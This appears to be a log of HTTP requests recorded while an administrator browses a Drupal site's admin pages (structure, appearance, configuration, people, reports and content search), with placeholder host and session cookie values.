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{"method": "GET", "target": "/sites/default/files/js/js_0BtosoKuAqM5GtLkuevTJnnLoBkSvptjlR0qQYYDruk.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/overview", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/views/view/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxtj1sKwzAMBC8Ux0cq69gYtYoUZDl9nL6GBkKgv8Nod7UwTGNlTeDQ_M0kdVpUvLy8g2O2voHnk4RhPNpQrMRF102liLdZsFOFk0oIrsoJFlJ3V_mpRw7ueF1AJrDWKzLd_pw6EpdsOGRRW8H0KdNZHWmsNBnyyaadyrPdOkXklWQ-fvwC-TFgqQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-F3rj5YfR2asqg9sweZNjFfkXTvF0TvHucDW4zRpICrQ&form_token=2RiXwzIOzgnAYh4frV_Aykfi5NgGwuk_dGZCLtCUxjg&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=5e5HEgjfZ80aNQxNU9VRZE4_hDmt-aGjuwXr5qcCy0E&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
{"method": "GET", "target": "/admin/structure/menu", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/appearance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/claro/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/stark/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/default_admin/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/uninstall", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/system/site-information", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats/manage/basic_html", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/ckeditor5/ckeditor5-dll/ckeditor5-dll.js?v=47.6.3-drupal.1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/content/formats/manage/basic_html", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/redo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/undo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/special-characters.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/underline.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/code-block.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/strikethrough.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/media/image-styles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/development/performance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/create", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/permissions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/roles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/dblog", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/reports/dblog", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dwatchdog%3Alocation%3Dpage%26name%3Dwatchdog%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=grWQXBmsSApIJa_jk7wHiazbuliDJvCCmFVgCnqCxiM"}
{"method": "GET", "target": "/admin/reports/status", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/updates", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/help", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/browse", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media-grid", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia_library%3Alocation%3Dpage%26name%3Dmedia_library%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=j9Y8Hgn09m7XQjCW5BfTzqp2SoYZRr5vB6MwyUrqz1w"}
{"method": "GET", "target": "/admin/content?title=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
